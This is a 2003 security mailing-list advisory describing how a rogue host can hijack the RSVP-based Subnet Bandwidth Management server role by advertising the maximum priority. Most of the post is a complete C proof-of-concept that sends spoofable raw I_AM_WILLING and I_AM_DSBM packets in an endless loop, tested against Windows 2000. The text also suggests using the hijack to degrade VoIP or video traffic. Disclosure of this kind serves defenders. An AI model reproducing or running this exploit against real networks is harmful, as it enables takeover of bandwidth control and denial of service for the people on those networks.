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Subnet Bandwidth Management (SBM) Protocol subject to attack via the Resource Reservation Protocol (RSVP)
From: <root () networkpenetration com>
Date: 11 Aug 2003 19:07:47 -0000



Network Penetration
www.networkpenetration.com
Copyright (c) 2003 Ste Jones
root () networkpenetration com

Subnet Bandwidth Management (SBM) Protocol subject to attack via the 
Resource Reservation Protocol (RSVP)


Introduction
------------

The resource reservation protocol (RSVP) is used within the Subnet 
Bandwidth Management protocol (RFC 2814) and is vulnerable to allowing a 
rogue host hijack control of a server via the use of priority assignemnt. 
By specifying a higher priority than the current RSVP server would allow 
the current server to be pre-empted and a rogue one take its place.

How the attack works
--------------------

Send I_AM_WILLING RSVP packets to be the resource resvervation protocol 
server to indicate that the the source host is willing to be a RSVP server.

Send I_AM_DSBM RSVP packets to indicate that the source address has a 
priority of 255 (1 byte - thus highest possible priority). If the server 
has a lower priority, it will be pre-empted and the source address will 
take over and act as the resource reservation server.  

For politceness four I_AM_WILLING packers are sent, followed by a 
I_AM_DSBM packet every five seconds after that. This should ensure that 
while the I_AM_DSBM packets are being sent the orignal RSVP server would 
not handle resoure priority assignment. Tested against a Windows 2000 RSVP 
server, but as this is a protocol attack it is assumed that would work 
against any RSVP server.

For more information see http://support.microsoft.com/?kbid=228830
For more information see http://support.microsoft.com/?kbid=247101


Further Attacks Possible
------------------------
A spoofed server could allow different hosts to have a different level of 
quality of service (QoS), either giving a higher level priority to a host 
or reducing the priority of a video link or a VoIP connection for example. 




Proof of concept code
---------------------

//Network Penetration
//www.networkpenetration.com
//ste jones root () networkpenetration com
//
//Proof of concept code for attack against RSVP / SBM (RFC 2814)
//compile: gcc rsvp.c -Wall -o RSVP_DoS
//Allows spoofing of source IP with -s
//Tested on linux against win2k server
//You will need to be root to launch the attack as we are using raw sockets

/*RSVP
 * Resource ReserVation Protocol Munger
 * 
 * multicast IP 224.0.0.17
 * IP protocol number 0x2e for RSVP
 *
 * RSVP Header
 * Version = 4bits
 * flags = 4 bits
 * message type = 8 bits = 67 = I_AM_DSBM
 * RSVP checksum = 16 bits = set to 0's 
 * TTL = 8 bits = 1 on multicast
 * Reserved = 8 bits
 * RSVP length = 16 bits
 * + data
 *
 * Data header
 * Length = 16 bits
 * Class = 8 bits
 * type = 8 bits
 * Obj contents 
 */

/*
 *Proof of concept - doesn;t check if RSVP priority of server assumes lower
 */
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>
#include <getopt.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <arpa/inet.h>

void usage(char *progname);
void startattack(void);
unsigned short in_chksum(unsigned short *pts, int nbytes);

struct rsvphead{
        int flags:4;
        int version:4;
        char type:8;
        int checksum:16;
        char ttl:8;
        char reserved:8;
        int length:16;
};

struct rsvpdata{
        char buf[40];
};
                

struct header{
        struct iphdr ip;
        struct rsvphead rhead;
        struct rsvpdata rdata;
};

struct in_addr spoofed;

int main(int argc, char *argv[])
{
        
        int c;
        printf("RSVP Munger by Ste Jones from NetworkPenetration.com\n");
        printf("----------------------------------------------------\n");
        opterr = 0; //stop error messages from command line
        while ((c=getopt(argc, argv, "s:")) != -1){
                switch(c){
                        case 's':       if(!inet_aton(optarg, &spoofed)){
                                                printf("Malformed IP 
address: %s\n",optarg);
                                                exit(1);
                                        }
                                        break;
                                        
                        default:        usage(argv[0]);
                                        exit(1);
                                        break;
                }
        }
        for(;;){
        startattack();
        }
        exit(0);
}
        
void startattack(void)
{
        struct header heada;
        struct sockaddr_in sin;
        int sock;
        int on;
        int sinlen;
        int willing;
        unsigned char *sourceip;
        on = 1;
        willing = 4; //send willing four times then I_AM_DBSM
        printf("\nSending %d I_AM_WILLING packets followed by I_AM_DSBM 
packets every 5 seconds\n\n", willing);
        for(;;){
                
                memset(&heada, '\0', sizeof(heada));
                if(willing) printf("Creating I_AM_WILLING packet\n");
                else printf("Creating I_AM_DSBM packet\n");

                heada.ip.ihl = 5;
                heada.ip.version = 4;
                heada.ip.tos = 0xc0; //same options as set by Microsoft 
RSVP
                if(willing) heada.ip.tot_len = htons(56);
                else heada.ip.tot_len = htons(64);
                heada.ip.id = 0x0000; //checksum calculate later
                heada.ip.frag_off = 0;
                heada.ip.ttl = 1; //multicast uses ttl of 1
                heada.ip.protocol = 0x2e; //RSVP protocol number
                heada.ip.check = 0;
                if(spoofed.s_addr){
                        heada.ip.saddr = spoofed.s_addr;
                }
                else heada.ip.saddr = 0; //let kernel decide
                heada.ip.daddr = inet_addr("224.0.0.17");
                
                sourceip = (unsigned char *)&heada.ip.saddr;
                        
                heada.rhead.flags   = 0;
                heada.rhead.version = 1;
                if(willing) heada.rhead.type    = 0x42; //I_AM_WILLING
                else heada.rhead.type    = 0x43; //I_AM_DSBM
                
                heada.rhead.checksum= 0x0000; //checksum calculated later
                heada.rhead.ttl     = 0x01;
                heada.rhead.reserved= 0x00;
                if(willing) heada.rhead.length = 0x2400;
                else heada.rhead.length  = 0x2c00;
                
                heada.rdata.buf[0]  = 0x00;//length
                heada.rdata.buf[1]  = 0x08;//length
                heada.rdata.buf[2]  = 0x2a;//0x2a01 = DSBM IP ADDR 
                heada.rdata.buf[3]  = 0x01;
                heada.rdata.buf[4]  = sourceip[0];//IP address
                heada.rdata.buf[5]  = sourceip[1];//if not spoofed DSBM IP 
ADDR = 0
                heada.rdata.buf[6]  = sourceip[2];//
                heada.rdata.buf[7]  = sourceip[3];//
                
                heada.rdata.buf[8]  = 0x00;//length
                heada.rdata.buf[9]  = 0x0c;//length
                heada.rdata.buf[10]  = 0xa1;//0a101 = RSVP_HOP_L2, IEEE 
canonical addr
                heada.rdata.buf[11]  = 0x01;
                heada.rdata.buf[12]  = 0x00; //mac addr
                heada.rdata.buf[13]  = 0x11; //
                heada.rdata.buf[14]  = 0x22; //
                heada.rdata.buf[15]  = 0x33; //
                heada.rdata.buf[16]  = 0x44; //
                heada.rdata.buf[17]  = 0x55; //
                heada.rdata.buf[18]  = 0x00; //
                heada.rdata.buf[19]  = 0x00; //
                
                heada.rdata.buf[20]  = 0x00; //length
                heada.rdata.buf[21]  = 0x08; //length
                heada.rdata.buf[22]  = 0x2b; // 0x2b01 = SMB_Priority
                heada.rdata.buf[23]  = 0x01; //
                heada.rdata.buf[24]  = 0x00; //priority
                heada.rdata.buf[25]  = 0x00; //priority
                heada.rdata.buf[26]  = 0x00; //priority
                if(!willing)heada.rdata.buf[27]  = 0xff; //priority 255
                else heada.rdata.buf[27] = 0xff; //priority 
                //priority = 255 
                //highest possible priority
                //if server has lower priority vulernable to DoS
                
                if(!willing){
                        heada.rdata.buf[28]  = 0x00; //length
                        heada.rdata.buf[29]  = 0x08; //length
                        heada.rdata.buf[30]  = 0x2c; //0x2c01 = DSBM timer 
intervals
                        heada.rdata.buf[31]  = 0x01;
                        heada.rdata.buf[32]  = 0x00; //retransmit time
                        heada.rdata.buf[33]  = 0x00; //
                        heada.rdata.buf[34]  = 0x0f; //0x0f?
                        heada.rdata.buf[35]  = 0x05; //time 5 seconds
                }

                heada.ip.check = in_chksum((unsigned short *)&heada.ip, 
20);
        
                sin.sin_family = AF_INET;
                sin.sin_port = htons(0); 
                sin.sin_addr.s_addr = inet_addr("224.0.0.17");

                if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
                        printf("Socket error %s\n",strerror(errno));
                        exit(1);
                }

                if((setsockopt(sock,IPPROTO_IP, IP_HDRINCL, &on, sizeof
(on))) < 0){
                        printf("Setsockopt error %s\n",strerror(errno));
                        exit(1);
                }
        
                sinlen = sizeof(sin);
        
                if(willing){
                        if(sendto(sock, &heada, 56, 0, (struct sockaddr *)
&sin, sinlen) != 56){
                                printf("Sento error\n");
                                exit(1);
                        }
                        printf("Sent I_AM_WILLING packet\n");
                }
                        
                else{
                        if(sendto(sock, &heada, 64, 0, (struct sockaddr *)
&sin, sinlen) != 64){
                                printf("Sento error\n");
                                exit(1);
                        }
                printf("Sent I_AM_DBSM packet\n");
                }

                close(sock);
                if(willing) willing--;
                sleep(5);
        }
}

void usage(char *progname)
{
        printf("\n%s\n", progname);
        printf("\t-s <ip address> Spoof source IP address\n");
        printf("\n");
                
        exit(1);
}

unsigned short in_chksum(unsigned short *pts, int nbytes)
{
        register long sum;
        u_short oddbyte;
        register u_short answer;
                                 
        sum = 0;
        while(nbytes > 1){
                sum += *pts++;
                nbytes -=2;
       }
                                                 
        if(nbytes == 1){
                oddbyte = 0;
                *((u_char *) &oddbyte) = *(u_char *)pts;
                sum += oddbyte;
        }
                                                         
        sum = (sum >> 16) + (sum &0xffff);
        sum += (sum >>16);
        answer = ~sum;
        return(answer);
}


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